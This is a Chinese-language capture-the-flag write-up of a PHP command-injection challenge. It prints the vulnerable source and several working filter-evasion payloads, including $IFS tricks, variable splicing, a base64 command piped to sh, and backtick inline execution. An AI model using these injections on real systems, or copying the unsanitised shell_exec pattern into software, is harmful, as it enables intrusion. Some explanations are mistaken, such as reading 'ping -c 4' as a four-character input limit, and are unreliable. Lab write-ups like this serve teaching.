[GXYCTF2019]Ping Ping Ping 1
在本题我们考察的是命令执行
已进入本关,我们发现他在询问 ?ip
我们先尝试输入
?ip=127.0.0.1
发现访问成功
查询一下它的目录:
?ip=127.0.0.1|ls
发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。
?ip=127.0.0.1|cat flag.php
点击查询, 很明显我们需要进行一个空格的过滤
空格过滤常见绕过注释:
< > %20(space), %09(tab), $IFS$1
输入之后
?ip=127.0.0.1|cat<flag.php
发现:
可以知道,在本题它还过滤了 符号
所以我们换一种 空格的过滤方法:
?ip=127.0.0.1|cat$IFS$1flag.php
坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php
?ip=127.0.0.1|cat$IFS$1index.php
访问源码:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…
什么是bash:
要想了解bash,就要先知道什么是shell: 首先,shell是一个程序,提供用户与电脑对话的环境(环境唯一:命令提示符又称为命令提示符)。shell可以接收到用户输入的命>令,将命令送入操作系统进行执行,并发布会结果。 再着,shell也可以作为一个命令解释器,就是我们常说的脚本。它支持变量,条件判断,循环操作等语法,所以我们可以用shell来>写出各种小程序(脚本) 而bash就是shell的脚本类型之一(还有sh csh tcsh 等),bash是目前最常用的shell。进入命令环境以后,一般就打开了bash了 我>们可以使用bash命令来构造shell来查找flag,本关虽然黑掉了bash 但我们还有 sh 用!!! 哈皮 if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip)
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec(string $cmd): string
exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符
ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出
之后输出<pre> (输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单
构造:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看页面源代码,发现flag。 当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
还有一种大佬操作,是我查询博客才了解的
内联执行 (真·大佬操作,小弟只有膜拜的份儿)
ip=127.0.0.1;cat$IFS$9`ls`
? 注:内联,就是将反引号内命令的输出作为输入执行。
|